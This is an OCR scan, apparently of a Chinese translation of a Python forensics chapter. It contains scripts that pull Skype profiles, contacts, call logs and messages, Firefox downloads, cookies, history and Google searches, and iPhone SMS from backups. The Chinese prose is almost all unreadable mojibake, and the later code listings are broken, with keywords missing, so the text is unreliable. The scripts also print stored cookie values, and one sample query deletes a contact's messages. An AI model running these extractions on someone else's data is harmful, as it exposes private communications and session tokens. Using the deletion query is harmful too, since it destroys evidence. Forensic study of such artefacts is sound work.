B HEEAEBRICRIE 1970 F 1 B 1 BRAIMERIZEEE. SQL BREL
datatime()FTLUSIXFMEREC N S IERIIEZL.

sqlite> SELECT fullname, skypename, city, country,
datetime(profile_

timestamp,'unixepoch') FROM accounts;

TJ OConnor | <accountname> | New York|us|22010-01-17 16:28:18

{5 Python Y Sqlite3 EElI5ERL Skype £iBEET

EREIREF T — SELECT IBIRE S | Bl IH 2RSS Bt R EdERE
LA ARERFIZIRAEIMIER. LLFAIFIA sqlite3 BESRIRE —NMY
Python FEFF3R5eRiIX L, EEIAIAIEREL printProfile() , ERIE—E!



main.db #IEEFRIER | BIE—MNERZE | ERE—IIRERAEIITH
f1)5cRIRY SELECT 754 , SELECT iERIRVERIREI— M 28ENEE. XNTE
MNMEENER , E8ERF | Skype AFR , (MEMNMEBHIENERSIF. (]
RIXEER | ARESAHTEMENZFRE L.

# coding=UTF-8
import sqlite3

def printProfile(skypeDB):
conn = sqlite3.connect(skypeDB)
c = conn.cursor()

c.execute("SELECT fullname, skypename, city, country,
datetime(profile_timestamp,'unixepoch') FROM Accounts;")

for row in c:
print(‘[*] -- Found Account --')
print(‘[+] User: '+str(row[0]))
print(‘'[+] Skype Username: '+str(row[1]))
print(‘'[+] Location: '+str(row[2])+','+str(row[3]))

print('[+] Profile Date: '+str(row[4]))

def main():
skypeDB = "main.db"
printProfile(skypeDB)

if _name__ =="__main__":

main()

BITEAIR9IA |, FAIEZ , Skype B9 main.db #iEEES ST —1MNEFPIKF |
QEFREFARYARR |, FfiJFE<accountname>XEEIFAIREFA.



investigator$ python printProfile.py
[*] -- Found Account --

[+] User

: TJ OConnor

[+] Skype Username : <accounthame>
[+] Location : New York, NY,us

[+] Profile Date : 2010-01-17 16:28:18

I B IB SR EFERER R AL —SEE Skype FUEUERE. T8, BREER
FEEEMWETRS , Skype PR |, & , BoEiE , EEREAFE 1K
REFEEEEEY. IMEXENABRISRAIEERSE R E— 1 BRitE
BEAN  FRUBIBERIEER. 1LHA)EE SELECT {EaRERIER |
ERLNFER , BANAEEATRER null, FTEXMER T |, BAIFBFREDRET
EIFREFT=ER.

def printContacts(skypeDB):
conn = sqlite3.connect(skypeDB)
¢ = conn.cursor()

c.execute("SELECT displayname, skypename, city, country,
phone_mobile, birthday FROM Contacts;")

for row in c:
print(‘\n[*] -- Found Contact --')
print('[+] User : ' + str(row[0]))
print('[+] Skype Username : ' + str(row[1]))
if str(row[2]) != " and str(row[2]) != 'None":
print('[+] Location : ' + str(row[2]) + ',' + str(row[3]))
if str(row[4]) != 'None':

print('[+] Mobile Number :' + str(row[4]))



if str(row[5]) != 'None':

print(‘'[+] Birthday :' + str(row[5]))

EEIIERNREMNGERRPEBITENSINE. M , SEIMBEHRINE
FRYEE—RERHEAD ? EXMERT . BTSSR EE—RRERIEN
NEUREERP. ATHAX—R , EIIRIRR IR HEFAETE Skype #iRE+
FIBEICSR. ATHEHIFM Skype BIFICR , HIEERAFEREIERIIEL
#R. BiEREPEEENONEESNEIENE—RS I FEBREN
conv_dbid, BXEFRLEIFTEIEENSMHINE—EIERY ID 5I88R id, Eit
AT EEHRNREAIEEEIDN SELECT {EE0EMEMES WHERE
calls.conv_dbid = conversations.id SkEEiA, XEIEENERIREEOSFIEEE
£ Skype #UEEEFHY Skype RUBIFICRATSEMIS4.

def printCallLog(skypeDB):
conn = sqlite3.connect(skypeDB)
c = conn.cursor()

c.execute("SELECT datetime(begin_timestamp,'unixepoch'),
identity FROM calls, conversations WHERE calls.conv_dbid =
conversations.id;")

print("'\n[*] -- Found Calls --')
for row in c:

print('[+] Time: '+str(row[0]) + ' | Partner: ' + str(row[1]))

LEATRINERE — NRECR R JIBIA., IEESFE , Skype EUERSCOREA
INERTHBERPAEIEZNER. FHEXL(EEAI Message R, WX
%= , FA 81T SELECT the timestamp, dialog_partner, author, and body_xml
(raw text of the message)iEal, ¥= , WRIEERFAMERY dialog_partner ,
FUEERIRAE RXIRHEEE dialog_partner, BN , #NR{EEFD
dialog_partner fH[& , dialog_partner #J#aHIXEAER | BN
dialog_partner ¥JEJ,

def printMessages(skypeDB):



conn = sqlite3.connect(skypeDB)
c = conn.cursor()

c.execute("SELECT datetime(timestamp,'unixepoch'),
dialog_partner, author, body_xml FROM Messages;")

print("\n[*] -- Found Messages --')
for row in c:
try:
if 'partlist' not in str(row[3]):
if str(row[1]) != str(row[2]):
msgDirection = 'To ' + str(row[1]) + ":'
else:
msgDirection = 'From ' + str(row[2]) + ": '

print(‘Time: ' + str(row[0]) + ' ' + msgDirection +
str(row[3]))

except:

pass

BRrEREEE—RE , H(T5— 1M IFERRMANRIGE Skype FHEUERE, K
MRAARTLETENEREXHHER | BRRAMIL , BIRICREERFHELIERE
PRYES. FTTLAE main()REFRRII—LETET . R OS RIRAYTNRE
BREAEEIREERNITE N R R E T

sqlite3
optparse
0S

printProfile(skypeDB):
conn = sqlite3.connect(skypeDB)
¢ = conn.cursor()
c.execute("SELECT fullname, sk




datetime(profile timestamp,'unixepoch') FROM Accounts;")
oW ;

('[*] -- Found Account --")

('[+] User: +str(row[0]))

('[*] Skype Username: "+str(row[1]))

('[*+] Location: +str(row[2])+',"+str(row[3]))

('[] Profile Date: '+str(row[4]))

printContacts(skypeDB):
conn = sqlite3.connect(skypeDB)
¢ = conn.cursor()
c.execute("SELECT displayname, skypename, city, country,
phone mobile, birthday FROM Contacts;")
row in c:
("n[*] -- Found Contact --')
([+] User : '+ str(row[0]))
('[] Skype Username : ' + str(row[1]))
(row[2]) =" (row[2]) !="None'":
('[+] Location : '+ str(row[2]) +",' + str(row[3]))
(row[4]) !'="None'":
] Mobile Number : '+ str(row[4]))
|
]

|
([+
(row[

('[+] Birthday : '+ str(row[5]))

) !="None':

printCallLog(skypeDB):
conn = sqlite3.connect(skypeDB)
¢ = conn.cursor()
c.execute("SELECT datetime(begin_timestamp,'unixepoch'),
identity FROM calls, conversations WHERE calls.conv_dbid =
conversations.id;")
("\n[*] -- Found Calls --")
row in c:
('[*] Time: +str(row[0]) + ' | Partner: ' + str(row[1]))

printMessages(skypeDB):
conn = sqlite3.connect(skypeDB)
¢ = conn.cursor()
c.execute("SELECT datetime(timestamp,'unixepoch'),
dialog_partner, author, body xml FROM Messages;")
("\n[*] -- Found Messages --')




row C.

f 'partlist ow[3]):
(row[1]) != str(row[2]):

msgDirection ="To ' + str(row[1]) + "'

msgDirection = 'From ' + str(row[2]) + "'
('Time: ' + str(row[0]) + ' ' + msgDirection +

(row[3]))

main():

parser = optparse.OptionParser('"'usage%prog -p <skype profile
path>")
parser.add_option('-p' ='pathName' ='string'
='specify skype profile path')
(options, args) = parser.parse_args()
pathName = options. pathName
pathName ==
parser.usage
(0)
os.path.isdir(pathName) ==

'['] Path Does Not Exist: ' + pathName
(0)

skypeDB = os.path.join(pathName, 'main.db')
os.path.isfile(skypeDB):
printProfile(skypeDB)
printContacts(skypeDB)
printCallLog(skypeDB)
printMessages(skypeDB)

'[!] Skype Database does not exist: ' + skypeDB

__name ==" main_ ":
main()




BATIZRIZA | FAANIN—N-p LRI Skype BCESURERFRIZ. MAFIENSH
FHEER M= CRKFECE |, BRRA |, BIAMEE. A ! T F—TF , I
111 FRAIRY sqlite3 RIRMRSEE R THIK I SERs TR RIS

investigator$ python skype-parse.py -p
/root/.Skype/not.myaccount

[*] -- Found Account --

[+] User

: TJ OConnor

[+] Skype Username : <accountname>

[+] Location : New York, US

[+] Profile Date : 2010-01-17 16:28:18

[*] -- Found Contact --

[+] User

: Some User

[+] Skype Username : some.user

[+] Location

[+] Mobile Number

[+] Birthday

: Basking Ridge, NJ,us

: +19085555555

: 19750101

[*] -- Found Calls --

[+] Time: 2011-12-04 15:45:20 | Partner: +18005233273
[+] Time: 2011-12-04 15:48:23 | Partner: +18005210810
[+] Time: 2011-12-04 15:48:39 | Partner: +18004284322
[*] -- Found Messages --

Time: 2011-12-02 00:13:45 From some.user: Have you made plane

reservations yets?



Time: 2011-12-02 00:14:00 To some.user: Working on it...

Time: 2011-12-19 16:39:44 To some.user: Continental does not
have any

flights available tonight.

Time: 2012-01-10 18:01:39 From some.user: Try United or US
Airways,

they should fly into Jersey.

Hfti's BRrY Skype Eif

SNERBERNERT LIRS AR ARIEE Skype iR | mEHRIIA, Zi8
LU AIBE= AR EMES

ERFTEDHEAR AFIRPRIBRRAER ?
SELECT fullname, birthday FROM contacts WHERE birthday > 0;

BF TEN R EHFERI <SKYPE-PARTNER>EX R AICR ?

SELECT datetime(timestamp,’ unixepoch’ ), dialog_partner, author,
body_xml

FROM Messages WHERE dialog_partner = '<SKYPE-PARTNER>'
TERIpRAE BRI <SKYPE-PARTNER> BARIER ?

DELETE FROM messages WHERE skypename = '<SKYPE-PARTNER>'

F3 Python 2T XIR Sqlite3 £4iERE

FEE—T5 , FIWART Skype FERIER—HIN FREUERE, ZEIBERME 7 X
ENEEHIE. T4ATHF , BIIERFTXNFENE—RTIBTAENEYERE.
KN EX L EURERIBAIA B R C:\Documents and

Settings\<USER>\Application Data\Mozilla\Firefox\Profiles\<profile folder>\ ,



£ Windows &&E T , £ MAC OS X RZHTEE1E
/Users/<USER>/Library/Application\ Support/Firefox/Profiles/<profile

folder>BRT. 15 HEMEER RPAIEIEREE.

investigators$ Is *.sqlite

places.sqlite downloads.sqlite search.sqlite

addons.sqlite extensions.sqlite signons.sqlite
chromeappsstore.sqlite formhistory.sqlite webappsstore.sqlite
content-prefs.sqlite permissions.sqlite

cookies.sqlite places.sqlite

MBERRVIE , RIPEXINFME TEIFEREEE. (BEBIHTZNB)LFF8RE
& ?1EEAIM downloads.sqlite #EEFIRVEE. downloads.sqglite SXHTFE T
MMARTEMNHRER. B8 7 —13KAEJI moz_downloads , FAsRFHEN
H2 , TEIR , TEEE XX/, ERERRIVEFER. FiER—
™ Python BIASkH1T SELECT iIEGISREIE=SMZ : BFR , SKIRFHEARTEL,
ERCKIMARIEE UNIX BB RS, BT =hE UNIX B e B HRRIEERER: | B
HEAZELA 1000000 7 , FEILFERAIERAIBTEMSTUNIZEBRLA 1000000 75,

import sqlite3

def printDownloads(downloadDB):
conn = sqlite3.connect(downloadDB)
¢ = conn.cursor()

c.execute('SELECT name, source, datetime(endTime/1000000,
\'unixepoch\') FROM moz_downloads;")

print '\n[*] --- Files Downloaded ---"'
for row in c:

print(‘[+] File: ' + str(row[0]) + ' from source: ' + str(row[1]) +
"at: ' + str(row[2]))



X downloads.sqlite SHEITHIA | FMER , IWEREXHE S TEAILEIT
BXHRYER. FLLE  FNEERIEF I TTEUER TERI .

investigator$ python firefoxDownloads.py
[*] --- Files Downloaded ---

[+] File: ANONOPS_The_Press_Release.pdf from source:

http://www.wired.com/images_blogs/threatlevel/2010/12/ANON
OPS_The_

Press_Release.pdf at: 2011-12-14 05:54:31

SR T BN IERE - ARHMRA P FERXIN T EIT A . A, WREE
ARERAPRPNEEFRERZIRMSZEATD ? fia0 , EFEEREARFPMA
ETap4aIuS ETE T LB ENERZEAT ? EHREREEN S
ZRus , AR DEREE ZAFINERRE-FHME. #EA cookies , H
T HTTP FRERZIAEIRLT . RuSFIR cookies SREEFIATS.

EE—T , flan , ZSEPERENLS  SRNEEEEAEELEIR cookies , FIFPEE
EheeIEE— N ARIFAANBR ., KINTFHE T IXLE cookies 7 cookies. sqlite 27
ERES, WAERALUREN cookies FER | FiRMH T ESEINEAREEITEIE
TRAVEA.

EERIRERES — Python BIZA$ZEXFFRY cookies, Ffi IERZZEIEUEREFFN
1731180 SELECT 1B, EHUEEEH , moz_cookies #EHFIX cookies , A
cookies.sqlite #HEREHRY moz_cookies FH , FATEEBEN] , BIR
cookies B9{E , HEFEPITENHK.

def printCookies(cookiesDB):
try:
conn = sqlite3.connect(cookiesDB)

¢ = conn.cursor()



c.execute('SELECT host, name, value FROM moz_cookies')
print('\n[*] -- Found Cookies --')
for row in c:

host = str(row[0])

name = str(row[1])

value = str(row[2])

print('[+] Host: ' + host + ', Cookie: ' + name + ', Value: ' +
value)

except Exception as e:
if 'encrypted’ in str(e):
print('\n[*] Error reading your cookies database.')

print('[*] Upgrade your Python-Sqlite3 Library')

EBFf sqlite3

R REEREANRIRZIRAEIARY sqlite3 $TFF cookies.sqlite HUERFR S
XIS E RXAR— M EUEE. EARER Sqlite3 AUNRAZ
Sqlite3.6.22 A3z WAL BRI, SFEThRAHIXINEER PRAGMA
journal_mode=WAL t2Z{fE cookies.sqlite [ places.sqlite #EZE+. HERIH
WRASEY Sqlite3 BE 2 sqlite3 IRIRSIRES.

SQLite version 3.6.22

Enter ".help" for instructions

Enter SQL statements terminated with a ";"

sqlite> select * from moz_cookies;

Error: file is encrypted or is not a database

After upgrading your Sqlite3 binary and Pyton-Sqlite3 libraries to
a version > 3.7, you should be able to open the newer Firefox

databases.



investigator:~# sqlite3.7 ~/.mozilla/firefox/nq474mcm.default/
cookies.sqlite

SQLite version 3.7.13 2012-06-11 02:05:22

Enter ".help" for instructions

Enter SQL statements terminated with a ";"

sqlite> select * from moz_cookies;

1| backtrack-linux.org|__ <..SNIPPED..>

4 | sourceforge.net | sf_mirror_attempt| <..SNIPPED..>

To avoid our script crashing on this unhandled error, with the

cookies.sqlite and places.sqlite databases, we put exceptions to

catch the encrypted database error message. To avoid receiving

this error, upgrade your Python-Sqlite3 library or use the older

Firefox cookies.sqlite and places.sqlite databases included on the

companion Web site.

AT ERBIEATEXNMER AR | B{1118 cookies.sqlite F1
places.sqlite ZUEEERMERELIRR, N TERIXMEIR , FHRIRRY Python-
sqlite3 EEak R BRRASRIIXAN,

EAEE TR A REENEHE |, KIMFEXLLEIET places.sqlite FHEREF.
EIXE , moz_places REGHANRM TERAY , @R THARMREFBRTH
2RISR, TEA A printHistory()ER# R & fSE! moz_places & , M
HEEARHER(ER moz_places ZF1 moz_historyvisits RIGZNILTEEHE.

def printHistory(placesDB):
try:
conn = sqlite3.connect(placesDB)

c = conn.cursor()



c.execute("select url, datetime(visit_date/1000000,
'unixepoch') from moz_places, moz_historyvisits where visit_count >
0 and moz_places.id==moz_historyvisits.place_id;")

print('\n[*] -- Found History --')

for row in c:
url = str(row[0])
date = str(row[1])

print '[+] ' + date + ' - Visited: ' + url

except Exception as e:

if 'encrypted’ in str(e):
print('\n[*] Error reading your places database.')
print('[*] Upgrade your Python-Sqlite3 Library')
exit(0)

LB ERRERIRIRFNSSRIRIIENRIXTCRORIRY RHAIRYREL. NIEHSE
REBNE , RN THE—LFEN URL REHR. Google REBESHEER
URL AREBRURLRR | Ebalin , EFTEETE |, BAMSHULLEIIRAN. 2, ;M
ELFMNARBIERFM URL ALRIKRE. MRERIHNEEERNES
Google , FATRIMMAMFR q=/aHIRMEE&. X MFENFAFFIITR
Google 3. WMRBATERIHZIXNEE | H(NGEIATEE R —L URL &5
FRFFEREERL. &5  FAMSFTEREEmERIFS L, WERKAIIE
—MRELT LR places.sqlite 4FFFTED Google I ZREI G,

import sqlite3, re

def printGoogle(placesDB):
conn = sqlite3.connect(placesDB)
¢ = conn.cursor()

c.execute("select url, datetime(visit_date/1000000, 'unixepoch')
from moz_places, moz_historyvisits where visit_count > 0 and
moz_places.id==moz_historyvisits.place_id;")

print('\n[*] -- Found Google --')



for row in c:
url = str(row[0])
date = str(row[1])
if 'google’ in url.lower():
r = re.findall(r'q=.*\&', url)
if r:
search=r[0].split("&"')[0]

search=search.replace('q=', "").replace('+','")

print(‘'[+] '+date+' - Searched For: ' + search)

BRTERIBRE—E , BAIER THMHSE | 132X cookies FIXISEHSE |
EZ=ZERFRY Google RUEZRHSEINRE. ZIETRIRENTIAIZEERIEAFFHEILAY
Skype EIEEERIRT.

{RATBE SRR os.join.path ERECKBIESTRERIERIZ A AT ARZERAIN
BEMSGRFAREE R, 2T ALBIIANXEERLLFAIRE T

downloadDB = pathName + “\\downloads.sqlite” &
downloadDB = os.path.join(pathName, “downloads.sqlite” )

ZE—T , Windows FBFP{EFE C:\Users\<user_name>\EHER IR , M

Linux 1 Mac OS {#F3/home/<user_name>/3(kFKRAFER , FRNBIERSR
i, SRR N A | XRAEEICE XN R RN AEAERE,
OS FEEAF A B — MR TR ER FEBRE TIERIRI A,

sqlite3
re
optparse
0S

printDownloads(downloadDB):



conn = sqlite3.connect(downloadDB)
¢ = conn.cursor()
c.execute('SELECT name, source, datetime(endTime/1000000,
unixepoch\') FROM moz_downloads;')
"n[*] --- Files Downloaded ---"'
row in c:
('[+] File: ' + str(row[0]) + ' from source: ' + str(row[1]) +'
at: ' + str(row[2]))
printCookies(cookiesDB):

conn = sqlite3.connect(cookiesDB)
¢ = conn.cursor()
c.execute("SELECT host, name, value FROM moz cookies')
("n[*] -- Found Cookies --')
row in c:

host = str(row[0])

name = str(row[1])

value = str(row[2])

('[+] Host: ' + host + ', Cookie: ' + name + ', Value: ' +
value)

e:
'encrypted' (e):
("\n[*] Error reading your cookies database.')
('[*] Upgrade your Python-Sqlite3 Library')
printHistory(placesDB):

conn = sqlite3.connect(placesDB)
¢ = conn.cursor()
c.execute("select url, datetime(visit_date/1000000, 'unixepoch')
from moz_places, moz_historyvisits where visit_count > 0 and
moz_places.id==moz historyvisits.place id;")
("\n[*] -- Found History --")
row in c:
url = str(row[0])
date = str(row[1])
'+] ' + date + ' - Visited: ' + url

e:

'encrypted' (F
("\n[*] Error reading your places database.")
('[**] Upgrade your Python-Sqlite3 Library')




(0)

printGoogle(placesDB):
conn = sqlite3.connect(placesDB)
¢ = conn.cursor()
c.execute("select url, datetime(visit_date/1000000, 'unixepoch')
from moz_places, moz_historyvisits where visit_count > 0 and
moz_places.id==moz_historyvisits.place 1d;")
("n[*] -- Found Google --')
row in c:
url = str(row[0])
date = str(row[1])
'google’ in url.lower():
r = re.findall(r'q=.*\&', url)
r:
search=r[0].split('&")[0]
search=search.replace('q=", ").replace('+', ' ")
('[+] +date+' - Searched For: ' + search)
main():
parser = optparse.OptionParser('"'usage%prog -p <firefox profile
path>")
parser.add_option('-p' ='pathName' ='string’
='specify skype profile path')
(options, args) = parser.parse_args()
pathName = options. pathNarne
pathName ==
(parser. usage)
(0)
os.path.isdir(pathName) =
('['] Path Does Not Exist: ' + pathName)

(0)

downloadDB = os.path.join(pathName, 'downloads.sqlite")
os.path.isfile(downloadDB):
printDownloads(downloadDB)

('['] Downloads Db does not exist: '+downloadDB)
cookiesDB = os.path.join(pathName, 'cookies.sqlite')
os.path.isfile(cookiesDB):
printCookies(cookiesDB)




('[!'] Cookies Db does not exist:' + cookiesDB)
placesDB = os.path.join(pathName, 'places.sqlite")
os.path.isfile(placesDB):
printHistory(placesDB)

printGoogle(placesDB)

('['] PlacesDb does not exist: ' + placesDB)

__name ==" main_ "
main()

EITRANRMAEEXIMAFREE ]S | BITLUBRIXEER, £
B, BAISERELEIRIEFRIRIRIS , ERBSEHEENTEEPER
—HREHSRIT RHAIAY SQLite AR,

investigator$ python parse-firefox.py -p ~/Library/Application\
Support/Firefox/Profiles/5ab3jj51.default/
[*] --- Files Downloaded ---

[+] File: ANONOPS_The_Press_Release.pdf from source:

http://www.wired.com/images_blogs/threatlevel/2010/12/ANON
OPS_The_

Press_Release.pdf at: 2011-12-14 05:54:31
[*] -- Found Cookies --
[+] Host: .mozilla.org, Cookie: wtspl, Value: 894880
[+] Host: www.webassessor.com, Cookie: __utma, Value:
1.224660440401.13211820353.1352185053.131218016553.1
[*] -- Found History --

[+] 2011-11-20 16:28:15 - Visited: http://www.mozilla.com/en-
us/

firefox/8.0/firstrun/
[+] 2011-11-20 16:28:16 - Visited: http://www.mozilla.org/en-US/
firefox/8.0/firstrun/



[*] -- Found Google --

[+] 2011-12-14 05:33:57 - Searched For: The meaning of life?
[+] 2011-12-14 05:52:40 - Searched For: Pterodactyl

[+] 2011-12-14 05:59:50 - Searched For: How did Lost end?

F Python iEB&IZFERY iTunes &

£ 2011 F4 8 , ZEHRARFIRIFERRKR T AF 1 iPhone 1 Ipad I0S #2/F
REH— M BEFARRR, — M EERAEZEAI I0S £Ft=L HIRERFNICRIR
09 GPS AMRHIFAETEENAY consolidated.db EiEES, EXNEURREF—
N7 Cell-Location FIFREL R 7 WERIFANRY GPS 1R, ZIRBEEIGS T
IENFNES RSB RAEEMERNAFREETFNRS. R, AR
IR ZWIETTREREARYER |, FIKERER iPhone/Ipad FAFRYFSEE B RN ES
%, Wb, FERBHTIEERNMEENERIBN LHERTXYUER. B4
EMVICREREENERRFZFBET | BRISIENIEEALE. EXT
b, HVEESX—ITE , M iPhone iIRRHIEINEMNER. BIFER , BHi)E
{$5F3 Python BIASM 10S D HIREFTBRINAER.

S iPhone B iPad IREIHITEHRT , BRI FERIN=REUTRER.

XFF Windows R4 |, iTunes 2R ENIRE &0 B R C:\Documents and
Settings\<USERNAME>\Application

Data\AppleComputer\MobileSync\Backup T , £ Mac OS X & LiEFERTE
/Users/<USERNAME>/Library/Application Support/MobileSync/Backup/.

iTunes IEFENBNRBFMEMIEINBMNRBIIXLEART. ILFARRRH
AY iPhone ERITHITID 4.

investigator$ Is
68b16471ed678a3a470949963678d47b7a415be3
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f
68b16471ed678a3a470949963678d47b7a415be3



68d321993fe03f7fe6754f5f4bal15a9893fe38db
69005cb27b4af77b149382d1669ee34b30780c99
693a31889800047f02c64b0a744e68d2a2cff267
6957b494a71f191934601d08ea579b889f417af9
698b7961028238a63d02592940088f232d23267e
6a2330120539895328d6e84d5575cf44a082c62d
<..SNIPPED..>

ATRERTENEESHHSE |, BAMEER UNIX ap<> file SIRENEN U4
AUSIEREY, IX N ap(EAS LRI TS B SRIIASUARE, IXOBAI R4
TEZHER ?zﬂ]ééﬂ%%ﬂ]%ﬁﬁi@%?—% sqlite3 £43ERE , JPEG BElf%: |,
JRIAEHEFD ASCIL LA,

investigators$ file *
68b16471ed678a3a470949963678d47b7a415be3: data
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f: SQLite 3.x database
68b16471ed678a3a470949963678d47b7a415be3: JPEG image data
68d321993fe03f7fe6754f5f4bal15a9893fe38db: JPEG image data
69005cb27b4af77b149382d1669ee34b30780c99: JPEG image data

693a31889800047f02c64b0a744e68d2a2cff267: SQLite 3.x
database

6957b494a71f191934601d08ea579b889f417af9: SQLite 3.x
database

698b7961028238a63d02592940088f232d23267e: JPEG image data

6a2330120539895328d6e84d5575cf44a082c62d: ASCII English
text

<..SNIPPED..>

file AR LRAITANE— LB S SQLite BHREFHITR M EUREENRETE D E
RUtEIR. FeAJGER Python I RIEERIRIEERIN S ER S BR THEINE



— N EUEERTBINER. iTRFAEERERAIRY Python BIASH{EMA

sqlite3, FAIRIEIATIH TEFERNABREZHNEEE— P EUEE. XT38
YRR INAERE |, IANISH1T45< : SELECT tbl_name FROM sqlite_master
WHERE type== ‘table’ , , & SQLite ZURELHIF T —

sqlite_master BUREE THIRENSAE | 5HIB 7T HEENSEZES, L
BYaR < FOFEAI 1B E IR AR

import os

import sqlite3

def printTables(iphoneDB):
try:
conn = sqlite3.connect(iphoneDB)
¢ = conn.cursor()

c.execute('SELECT tbl_name FROM sqlite_master WHERE
type==\"table\";")

print("\n[*] Database: "+iphoneDB)
for row in c:
print("[-] Table: "+str(row))
except:
pass
finally:
conn.close()
dirList = os.listdir(os.getcwd())
for fileName in dirList:

printTables(fileName)

BITRAIRIMIA |, Fe(15U2 T BalE{n B REMERIEIEERIN. SHAX
FISNEIER | B WEBEEHBA IR OINTERVEEER. EEXERA



d0d7e5fb2ce288813306e4d4636395e047a3d28 8 T — SQLite £iEREERE
B—18& messages IR, 1ZHUEEE ST FHETE iPhone SO FRIAHES
R,

investigator$ python listTables.py

<..SNIPPED...>

[*] Database: 3939d33868ebfe3743089954bf0e7f3a3a1604fd
[-] Table: (u'ItemTable',)

[*] Database: d0d7e5fb2ce288813306e4d4636395e047a3d28
[-] Table: (u'_SqliteDatabaseProperties’,)

[-] Table: (u'message’,)

[-] Table: (u'sqlite_sequence’,)

[-] Table: (u'msg_group’,)

[-] Table: (u'group_member',)

[-] Table: (u'msg_pieces'))

[-] Table: (u'madrid_attachment'))

[-] Table: (u'madrid_chat’,)

[*] Database: 3de971e20008baa84ec3b2e70fc171ca24eb4f58
[-] Table: (u'ZFILE',)

[-] Table: (u'Z_1LABELS'))

<..SNIPPED..>

EAMERA IF0E SQLite FUERE 4
d0d7e5fb2ce288813306e4d4636395e047a3d28 8 7T MABE , Hi1EERE
BEMIINARNSEHHTAE. ATHITXD  BI1RES 7T — MERRE
#73 isMessageTable() , RNMREVGEREIEEANSHIEERNEE. IR
X4 &7 messages 197 , NIRE] True , BNURELRE] False, IEFAE
BENREIFEE R TR TN FHIEIAE S messages RAMFESIRE.



def isMessageTable(iphoneDB):
try:
conn = sqlite3.connect(iphoneDB)
¢ = conn.cursor()

c.execute('SELECT tbl_name FROM sqlite_master WHERE
type==\"table\";")

for row in c:
if 'message’ in str(row):
return True
except:

return False

BE  BITAENNANEEEERET |, FAE LTINS SEEEETR
RNE , W0BTE , etk , XAER. Al FINEEESIREREARITIA TSRS

‘select datetime(date,\ ‘unixepoch\’ ), address, text from message WHERE
address>0;" FAIATLMTENERERIIFES L. T8, BIIGFERA—LREL
I , 9N isMessageTableIREREIEEAARHINFTENNNMEEEEE | B
BAESEds |, it |, FISCARYS, WISRIAIESE TEHERE |, FIVGITHIA
R EHSET , EEAKEIERRIEIER.

def printMessage(msgDB):
try:
conn = sqlite3.connect(msgDB)
¢ = conn.cursor()

c.execute('select datetime(date, \'unixepoch\'),address, text
from message WHERE address>0;")

for row in c:
date = str(row[0])
addr = str(row[1])

text = row[2]



print('\n[+] Date: '+date+’', Addr: '+addr + ' Message: ' +
text)

except:

pass

ARXLREE—IEE | FNTLNTREREZAAR, el HERII— N EIafFTR

4T iPhone BMRIBER. FE XK , FANGFIHIZBRIIASFHURE— 14
HEHEINAEREERE. —BRIBEXNE |, BT LS TENEUERRIA

BERRL.

0S
sqlite3
optparse

isMessageTable(iphoneDB):

conn = sqlite3.connect(iphoneDB)
¢ = conn.cursor()
c.execute('SELECT tbl name FROM sqlite_master WHERE
type==\"table\";')
row in c:
'message’ (row):

printMessage(msgDB):

conn = sqlite3.connect(msgDB)
¢ = conn.cursor()
c.execute('select datetime(date,\'unixepoch\'),address, text from
message WHERE address>0;")
row in c:

date = str(row[0])

addr = str(row[1])

text = row[2]




("\n[+] Date: '+date+', Addr: '+addr + ' Message: ' + text)

main():

parser = optparse.OptionParser("usage%prog -p <iPhone Backup
Directory>")

parser.add_option('-p' ='pathName'

='string’ ='specify skype profile path')
(options, args) = parser.parse_args()
pathName = options. pathName

pathName ==

parser.usage

(0)

dirList = os.listdir(pathName)
fileName in dirList:
iphoneDB = os.path.join(pathName, fileName)
isMessageTable(iphoneDB):

("n[*] --- Found Messages ---")
printMessage(iphoneDB)

! S Uo

__name ==' main
main()

%3 iPhone F BRIZTTXMHIA |, FAIRTLIBER—LAFAE7E iPhone Z{3 AT
RITAXAHER.

investigator$ python iphoneMessages.py -p ~/Library/Application\
Support/MobileSync/Backup/192fd8d130aa644ealc644aedbe2370
8221146a8/

[*] --- Found Messages ---

[+] Date: 2011-12-25 03:03:56, Addr: 55555554333 Message:
Happy



holidays, brother.

[+] Date: 2011-12-27 00:03:55, Addr: 55555553274 Message: You
didnt

respond to my message, are you still working on the book?
[+] Date: 2011-12-27 00:47:59, Addr: 55555553947 Message: Quick
question, should I delete mobile device backups on iTunes?

<..SNIPPED..>

FELE

BRER | EAERENFEENENIELRRE TAVTREY. BYEE
Windows ;EMZRFEIIL | BETTEURREIEN |, N AR iER SRR ]
N T —LERNITEZRNNTIEES. FEFEAEAENNFEM E
EERESFRE R,



FNE : NERESHT
AEANS

1. K IMHGREEAH IR B
2.52ES /K DDos TH

3.3 IS HRAY ML
4.53fr Storm HY Fast iii&E2F1 Conficker IEHAY Domain &

5.J2#% TCP FE5IFiNIE
6. F TR BHMNZENRS

EVECHPRFITE RV RE S |, EABEROZAAENNEETAT |, FHiIRIES
BT E | BIOANIE , BAEZAXREN , FISRATHAYGE
RS,

—Daniele Bolelli 55U P& LTI
K7

BT : RCITEILAR AN{RIBE R AT#iEE SR

2010 % 1 B 14 H , EETHEEI—IX3T Google,Adode FIEA 30 &bk
100 3EAERIMERY , SRAFEFAMRIBRIE. XX BEHRMRARIET
o) , TERRERAI =R AT T — L | iIXORIEER T — MY exploit
LEIRBEHRAI. REMBAEXNRREIVEE  EEiEix RERBARNE
XA FrUAANMFEXMIRGERRNTSE. ATEEMMINEEE | WEE
B AE— AR EE TR javascript BIAFHIER TS RIEAIRMA
ERE., SAPREZEHEM NS FH— NS HRE— M2 S1T
ZPERRSE L. EWE , WEEFBOFEREIIRRBENS BEZEE



Rt LFERIFAANGER.

WHRAZEAIEM TEZILNBRWAI , FRIIRNZET 100 :BATRINE
. EERERNRMEGUIRBEEFAXIRITN , ATA—1EE 100 382

AR E A FER A ST E RS BRI LA TS EIE R
X X, AEEREXRAIFLE.

£ FTENETHEIIEHAFRFIA Python DHFABENIE , AT RESTTAER
AEEIER. WLFNFRETE— MRS TTRERTEREE | 3
LR TEIRER 100 BEERBIYHGE.

IP RELEMT ? ---——4* Python BIE%Z

BRI RIE B R 1P I IR EEREAEESR. ALt , 1K
H— N RZERVEEER . MaxMind , MaxMind f24t 7 —LeAEmRImEL T~ , {haY
FriE GeoLiteCity #UEEETE http://www.maxmind.com/app/geolitecity BJ3518 ,
PEAUME T EBRETHREMN IP U E IR, —BEUEEWR TE , FlIE
BEREFCHEEBEIEAAIE , %W/opt/Geoip/Gro.dat,

analyst# wget
http://geolite.maxmind.com/download/geoip/database/

GeoliteCity.dat.gz

--2012-03-17 09:02:20--
http://geolite.maxmind.com/download/geoip/

